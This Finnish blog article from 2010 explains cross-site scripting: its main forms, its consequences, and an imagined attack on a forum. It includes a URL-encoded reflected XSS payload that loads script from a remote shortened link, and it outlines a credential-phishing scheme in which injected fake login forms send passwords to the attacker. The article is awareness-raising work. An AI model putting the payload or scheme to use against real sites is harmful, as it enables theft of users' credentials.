Koti Julkaisu

RSS

XSS – aliarvioitu uhka?

XSS – aliarvioitu uhka?
Julkaistu 19.08.2010 Kommentit (3) ,

Cross-site scripting (XSS) on haavoittuvuuden muoto, jonka avulla web-sivustolla voidaan ajaa ulkoista selainpuolen koodia, käytännössä JavaScriptiä. XSS-haavoittuvuudet mahdollistavat niin pienen kiusan kuin pahimillaan synnyttävät vakavampia tietoturvauhkia.

XSS-haavoittuvuudet ovat yllättävän yleisiä ja myös melko helposti löydettävissä. Kaikesta huolimatta niihin suhtaudutaan usein liiankin kevyesti.

Kesäkuussa Mikko Hyppönen kirjoitti F-Securen blogissa XSS-haavoittuvuudesta, joka oli löytynyt heidän omalta sivustoltaan. Tämän johdosta päätin kirjoittaa artikkelin tietoturvaongelmasta, jota mielestäni aliarvioidaan.

Hyppönen tiivisti ongelman ytimen erinomaisesti toteamalla “Jos edes tietoturvayhtiöt eivät saa omia sivujaan täysin aukottomiksi, niin minkälaista toivoa on yhtiöillä, joiden erikoisosaamisala ei ole tietoturva?”.

Allekirjoitan Hyppösen väittämän täysin: kirjoittaessani tätä artikkelia kävin läpi 15 satunnaista sivustoa Suomen 25 vierailluimmasta sivustosta. Lyhyehköillä, manuaalisilla testeillä löysin XSS-haavoittuvuuden yhdeksästä eri palvelusta. Kahdeksassa näistä palveluista on käyttäjäosio, kahdessa palvelussa liikkuu oikea raha.

Tässä artikkelissa käyn läpi XSS-haavoittuvuuksien eri muotoja, mitä ne todellisuudessa mahdollistavat, ja yhtälailla sitä, mitkä ovat XSS:n heikkoudet. Käyn läpi myös yhden kuvitteellisen esimerkin, jonka tarkoituksena on havainnollistaa tarkemmin XSS:n käyttöä todellisessa tilanteessa.

Artikkeli ei tarjoa neuvoja XSS-haavoittuvuuksien torjumiseksi, sillä aihe on monin osin teknologiariippuvainen. Artikkelin lopussa on kuitenkin listattuna muutama hyödyllinen linkki, jotka osaltaan antavat vinkkejä myös torjumiselle.

Mistä oikeastaan on kyse?

  • XSS-haavoittuvuuksien määrän on arvioitu olevan noin 80% kaikista tietoturvahaavoittuvuuksista (Symantec, 2007),
  • OWASP (The Open Web Application Security Project) listaa XSS-haavoittuvuudet vuoden 2010 toiseksi pahimmaksi tietoturvauhkaksi,
  • XSS-haavoittuvuuksia on esiintynyt myös erittäin tunnetuilla sivustoilla, kuten Facebook, Twitter tai Wikipedia.

Lyhyenä johtopäätöksenä voidaan todeta, että XSS on laaja ja vakavasti otettava uhka, jolta edes suuret toimijat eivät voi välttyä.

XSS-haavoittuvuuksien muotoja

XSS-haavoittuvuuksia on olemassa ainakin neljää eri muotoa:

  1. URL:n välityksellä suoritettava haavoittuvuus,
  2. Sivustolle lähetetyssä syötteessä esiintyvä haavoittuvuus,
  3. Selainpuolen logiikassa esiintyviä virheitä hyödyntävä haavoittuvuus,
  4. Ulkoista syötettä hyödyntävä haavoittuvuus,

Lisäksi viidentenä uhkana on syytä listata “käyttäjän itsensä ajama haittakoodi”.

1) URL:n välityksellä suoritettava haavoittuvuus

Tämä lienee yleisin muoto haavoituvuudelle. Osoitteen välityksellä suoritettu haavoittuvuus on myös lyhytikäinen ja helpoiten havaittavissa.

Jos sivusto ei osaa validoida oikein URL:ssa välitettyjä parametreja, niin tämän haavoittuvuuden hyödyntäminen on helppoa. Tällöin URL voisi näyttää esimerkiksi tältä: http://www.domain.tld/?page=Main”%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e.

Uskallan väittää, että keskivertokäyttäjä (keskiverto, et siis sinä) ei näe tässä mitään epäilyttävää. Lisäksi keskivertokäyttäjän selain näkee tässä harvemmin mitään epäilyttävää. Ja vaikka näkisikin, niin sen kiertämiseksi on yleensä keinoja. Tämän lisäksi URL:n lyhennystä tarjoavat palvelut tarjoavat mahdollistavat käyttäjän hämäämisen.

2) Sivustolle lähetetyssä syötteessä esiintyä haavoittuvuus

Tämä tapaus on astetta vakavampi, sillä kyseessä on sivustolla pysyvästi esiintyvä haavoittuvuus.

Perusideana on löytää sivuston lomakkeista kenttiä, joiden kautta haittakoodi on lisättävissä. Esimerkkinä mainittakoon, että tällainen haavoittuvuus löytyi mm. Facebookista vielä muutama kuukausi sitten, jossa ryhmän nimeä ei validoitu, kun se esitettiin dynaamisissa hakutuloksissa.

Nykyään monet sivustot ovat rakennettu valmiiden tuotteiden tai frameworkien päälle, joissa tämänkaltaiset haavoittuvuudet on lähes poikkeuksetta estetty.

3) Selainpuolen logiikassa esiintyvät virheet

Tämä haavoittuvuuden muoto on idealtaan samankaltainen kuin kohdan #1 haavoittuvuus. Tässä tapauksessa haittakoodia ei lisätä HTML-rakenteeseen vaan se suoritetaan jo olemassa olevan Javascript-koodin avulla.

Tällainen haavoittuvuus esiintyy harvemmin. Tilanteissa, joissa sivustolle lisätään skriptejä dynaamisesti, suoritetaan eval() funktio tai muulla tavoin manipuloidaan DOM-rakennetta hyödyntäen suoraan URL:ssa välitettyjä parametreja, on tämän haavoittuvuuden hyödyntäminen täysin mahdollista.

4) Ulkoista syötettä hyödyntävä haavoittuvuus

Tämä haavoittuvuus on harvinaisempi ja esiintyy lähinnä silloin, kun ollaan toimittu todella ajattelemattomasti.

Esimerkkinä on tilanne, jossa sivustolla julkaistaan Twitter-feed jonkin hash-tagin perusteella kuitenkaan validoimatta feediä, tai käsittelemällä feediä selainpuolella (kohta #3). Näin kävi muun muassa tapauksessa #cashgordon.

5) Käyttäjän itsensä ajama haittakoodi

Tämä haavoittuvuus on ikävä siitä syystä, että sivuston ylläpitäjällä ei käytännössä ole vaikutusmahdollisuuksia haavoittuvuuden esiintymiseen. Haavoittuvuus perustuu sille, että käyttäjä saadaan itse ajamaan JavaScriptiä selaimessaan.

Mutta miksi käyttäjä ajaisi selaimessaan JavaScriptiä?

Tämä haavoittuvuus perustuu kolmeen asiaan: 1) peruskäyttäjä ei tiedä tämän olevan kovin vaarallista, 2) suositus haittakoodin ajamiseksi tulee monesti muilta, yleensä tutuilta ihmisiltä ja 3) uteliaisuus ei ole synti.

Asetelma on käytännössä hyvin samanlainen kuin sähköposteilla leviävien matojen ja viruksien osalta.

Moni meistä on nähnyt tämän tapahtuvan esimerkiksi Facebookissa. Kuvitellaan skenaario: luodaan ryhmä, jossa kerrotaan dislike-toiminnon saamisesta käyttöön ajamalla yksinkertainen komento selaimen osoitepalkissa. Tämän avulla lisätään sivulle skripti, joka tekee automaattisen status-päivityksen, jolloin huijaus leviää.

Tämä skenaario on itse asiassa totta. Tällä tavoin huijausta saatiin levitettyä satojen tuhansien Facebook-käyttäjien keskuudessa. Enkä yhtään ihmettele.

XSS tarkoittaa aina ongelmia

Alla on listattuna muutama ongelma, jotka ensimmäisenä tulevat mieleeni XSS-haavoittuvuuksista:

Käyttäjän syöte on selkokielistä

Tärkeimpänä huomio on, että injektoitu sivu voi kerätä talteen selkokielisenä kaiken, mitä käyttäjä sivulle syöttää. Käyttäjä voi luulla normaalisti kirjautuvansa palveluun syöttäen tunnuksen ja salasanan ollen täysin tietämätön, mihin tiedot todellisuudessa päätyvät.

Käyttäjä luottaa tuttuun sivustoon

Toinen tärkeä huomio on, että XSS mahdollistaa toimimisen ympäristössä, johon käyttäjä luottaa. Tämä madaltaa kynnystä sille, että käyttäjä on valmis luovuttamaan arkaluontoisia tietoja. Kun tutun palvelun ruudulle ilmestyy dialogi, joka luotettavasti esittää syitä, miksi käyttäjän on syötettävä tunnuksensa ja salasanansa, ei käyttäjä välttämättä osaa epäillä mitään.

XSS-haavoittuvuus indikoi myös muista tietoturvaongelmista

Jos sivustolta löytyy XSS-haavoittuvuus, niin ei ole epäkohteliasta olettaa sivustolla olevan myös muita puutteita tietoturvassa. XSS-haavoittuvuus antaa usein viittaukseen siihen, että sivusto ei ole rakennettu valmiin tuotteen päälle, jolloin tietoturvaan liittyvät seikat on täytynyt miettiä erikseen. Vaikka sivusto olisikin tehty hyödyntäen valmista frameworkia, niin tällöin on tehty auttamattomasti väärin.

Joka tapauksessa on varmaa, että XSS-haavoittuvuus houkuttelee ei-toivottuja vieraita sivusto(i)lle.

Virheillä on tapana toistua

Kun sivuston luonut taho on tiedossa, syntyy uudenlainen ongelma: googlaamalla tai vierailemalla tahon oman sivustolla on usein löydettävissä muut saman tahon luomat sivustot, joilla samat tietoturvaongelmat mahdollisesti toistuvat.

Käyttäjän silmissä jokainen haavoittuvuus on yhtä vakava

Kun käyttäjä kuulee sivustolla olleen tietoturvaongelmia, hänen luottamus sivustoa kohtaan on usein menetetty. Sillä on harvemmin väliä, onko joku onnistunut saamaan haltuunsa yksittäiset tunnukset, viemään koko tietokannan tai tehnyt vain pientä kiusaa XSS-haavoittuvuuden avulla. Peruskäyttäjiä ei niinkään kiinnosta tekniset yksityiskohdat tai sivuston ylläpitäjän selitykset tietoturvaongelmien eri vakavuusasteista.

Kuvitteellinen esimerkki XSS-haavoittuvuudesta

Tämän esimerkin tarkoituksena on havainnollistaa, minkälaisen tilanteen XSS-haavoittuvuus voi mahdollistaa.

Alkutilanne

Olemme löytäneet XSS-haavoittuvuuden hyvin suositulta keskustelupalstalta. Haavoittuvuus voidaan ajaa lisäämällä haittakoodi yhdessä keskustelusäikeen tunnisteen parametrissä: http://www.foobarforum.com/?threadID=42%27%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e

Valtaosa merkeistä on UTF-8 formaatissa. Osoitteen lyhentämiseksi voimme toimia myös siten, että muutamme vain osan merkeistä UTF-8 formaattiin. Vaihtoehtoisesti voisimme käyttää URL:n lyhentäjiä.

Valmistelut

Olemme siis luoneet keskustelun, jonka ID on 42. Lisäksi olemme luoneet skriptin, jota kutsumme. Tämä skripti ajaa haittakoodin sekä tekee tarvittavat muutokset, jotta loppuvaikutelma on luotettava.

Olemme aiemmin luoneet käyttäjätunnuksia muille suosituille keskustelupalstoille sekä kirjoittaneet muutamia viestejä, jotta luodut tunnukset ovat muiden käyttäjien silmissä luotettavampia.

Tämän jälkeen luomme viestejä muille keskustelupalstoille, joissa viittaamme XSS-haavoittuvuuden sisältävälle keskustelupalstalle:

Kuva keskustelupalstan viestistä, jossa houkutellaan käyttäjiä XSS-haavoittuvuuden sisältävälle sivustolle.

Olemme kirjoittaneet viestin työajan ulkopuolella, kuitenkin keskustelupalstojen käyttäjien ollessa vielä aktiivisia. Eli keskustelupalstoilla vierailevien käyttäjien määrä on suuri, mutta ylläpitäjän viive haavoittuvuuden korjaamiseksi voidaan olettaa olevan pidempi.

Viestin tarkoitus on olla riittävän houkutteleva, mutta samalla uskottava. Keskustelupalstat ovat usein rakentuneet jonkin teeman ympärille (tekniikka, musiikki, perhe, jne.), jolloin houkuttelevien palkintojen ja muiden lupausten keksiminen on hyökkääjän kannalta triviaalia.

Hyökkäyksen kannalta on ongelmallista, että ennemmin tai myöhemmin joku käyttäjistä huomaa linkin hyödyntävän XSS-haavoittuvuutta – ilmoittaen asiasta sekä keskustelupalstalle että kohdesivuston ylläpitäjälle. Olemme kuitenkin jakaneet linkkiä useilla eri sivustoilla, jolloin vierailevia käyttäjiä tulee useista lähteistä.

Varsinainen ongelma

Koska olemme kiinnostuneet käyttäjätunnuksista, meidän on ylläpidettävä tarinaa, joka saa käyttäjän kirjautumaan tai rekisteröitymään palveluun. Lisäksi meidän on huolehdittava siitä, että käyttäjä ei välillä poistu injektoidusta dokumentista:

Kuva haavoittuneesta dokumentista, jossa käyttäjää houkutellaan syöttämään arkaluontoista tietoa.

Olemme muokanneet dokumentin sisältöosiota jättäen ympäröivä rakenne alkuperäiseen muotoonsa, pois lukien sivuston oma kirjautumisosio (1). Kerromme käyttäjälle aiemmin kuvaillulla tavalla, että sivustolle on kirjauduttava sisään, jotta (kilpailu)viesti on nähtävissä. Samalla tarjoten myös toista lomaketta (2) sisäänkirjautumista varten.

Kumpikaan kirjautumislomakkeesta ei todellisuudessa ohjaa uudelle sivulle vaan ainoastaan lähettää syötetyt tiedot hyökkääjän palvelimelle sekä näyttää “väärä käyttäjätunnus tai salasana” -ilmoituksen haavoittuneessa dokumentissa.

Jos käyttäjä on jo rekisteröitynyt palveluun, on myös mahdollista, että hänellä on käytössään selaimen suorittama tunnuksen ja salasanan esitäyttö sivuston omaan sisäänkirjautumislomakkeeseen. Tässä tilanteessa saamme suoraan poimituksi tunnuksen ja salasanan.

Lisäksi tarjoamme rekisteröitymismahdollisuutta (3), joka tässä tapauksessa avaa täytettäväksi dynaamisesti luodun dialogin. Samoin menettelemme myös “unohtuneen salasanan” (4) kohdalla.

Hyökkäyksen elinkaaren kannalta on tärkeää saada käyttäjä pidetyksi haavoittuneessa dokumentissa mahdollisimman pitkään.

Jokaiselta löytyy (tai ainakin pitäisi löytyä) useampia eri salasanoja, joita käyttää eri palveluissa. Tämän myötä on aivan mahdollista, että jo rekisteröitynyt käyttäjä tulee kokeilleeksi useampia käyttämiään salasanojaan yrittäessään kirjautua palveluun. Käyttäjän pyytäessä uutta salasanaa on varsin tavallista tiedustella käyttäjän sähköpostiosoitetta sekä mahdollisesti vastausta johonkin turvakysymykseen. Tämä mahdollistaa jälleen uusien, arkaluontoisten tietojen keruun.

Tämän kaiken lisäksi on mahdollista, että löydämme meitä hyödyttävää tietoa myös evästeistä tai muista sivustolla käytettävistä muuttujista.

Lopputulos

Tarjoamme käyttäjälle useamman mahdollisuuden syöttää joko olemassaoleva tunnus ja salasana palveluun tai rekisteröityä palveluun, jolloin voimme pyytää käyttäjältä muita henkilökohtaisia tietoja.

Vaikka lopputuloksena olisi se, että emme saisi yhdenkään käyttäjän tunnuksia, niin vahinko on jo tapahtunut. Vähintä (tai järkevintä), mitä haavoittuneen sivuston ylläpitäjä voi tehdä, on kertoa tilanteesta ja kehoittaa kaikkia käyttäjiä vaihtamaan salasanansa omassa palvelussaan sekä myös muissa palveluissa, joissa on käytössä sama salasana.

Johtopäätös

Kuten aiemmin totesin, XSS-haavoittuvuuksia löytyy jatkuvasti niin pieniltä kuin suurilta sivustoilta. Tein itse vain pienen pintaraapaisun käydessäni läpi joitakin Suomen suosituimpia sivustoja todeten, että yli puolessa palveluista löytyy haavoittuvuus. Kaiken kaikkiaan olen tänä vuonna raportoinut reilu viisikymmentä haavoittuvuutta, näiden tapausten ollessa yleensä todella ilmeisiä.

Olen valmis tekemään johtopäätöksen, että XSS-haavoittuvuuksiin joko suhtaudutaan verkkopalveluiden ylläpitäjien näkökulmasta liian kevyesti tai tietoisuus tästä haavoittuvuuden muodosta on aivan liian vähäinen. Toisena johtopäätöksenä on, että loppukäyttäjän ei voida koskaan olettaa olevan riittävän valveutunut tai vastuussa haavoittuvuuteen lankeamisesta, vaan vastuu on aina sivuston ylläpitäjällä.

XSS-haavoittuvuuksien hyödyntäminen vaatii jonkin verran luovuutta ja mielikuvitusta, eli “ei se tarina, vaan miten se kerrotaan”. Jos tavoitteena todella on aiheuttaa haittaa, niin keinojen keksiminen ei viime kädessä ole ongelma.

Luettavaa

Kirjoittajaprofiili Olen 30-vuotias Web UI Developer Helsingistä. Olen työskennellyt web-käyttöliittymien kanssa vuosituhannen alusta saakka.
Kirjoittaja Samuli Hakoniemi LinkedIn Twitter http://samuli.hakoniemi.net

Kommentit (3)

  • Normaalisti reagoidaan vasta siinä vaiheessa kun “paska on osunut tuulettimeen”. Ikävää mutta totta. Toivottavasti tämä juttu herättelee ihmisiä ja palveluiden ylläpitäjiä.

    Kommentoija hoo, 21.08.2010 klo 10:09
  • [...] This article is also published in Finnish, at Gfx. [...]

    Päivitysilmoitus XSS – an Underestimated Threat? | samuli.hakoniemi.net, 24.08.2010 klo 01:33
  • Monesti tietoturva-aukkoihin reagoidaan vasta, kun sitä aletaan käyttää hyväksi, vaikka tietoturva-aukko olisi ollut tiedossa jo vuosia.

    Kommentoija Ystävänpäivä, 09.02.2012 klo 17:36
Nimi *
Sähköposti *
URL
Kommentti *

Uudet jäsenet

teflnlduw
Liittyi jo aikaa sitten
yhepkroz7
Liittyi jo aikaa sitten
mczfhizod
Liittyi jo aikaa sitten
gpvwxrks
Liittyi jo aikaa sitten
samidaox34
Liittyi jo aikaa sitten

Julkaisuarkisto

Yhteistyössä

Haluatko yhteistyöhön? Ota yhteyttä.